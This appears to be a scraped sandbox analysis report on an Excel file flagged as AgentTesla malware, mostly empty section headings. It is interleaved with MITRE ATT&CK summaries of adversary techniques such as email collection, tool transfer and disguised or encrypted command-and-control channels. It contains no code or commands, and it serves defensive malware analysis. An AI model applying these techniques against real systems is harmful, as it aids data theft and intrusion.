Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report TACSAL.xlsx

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "TACSAL.xlsx"

Indicators

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre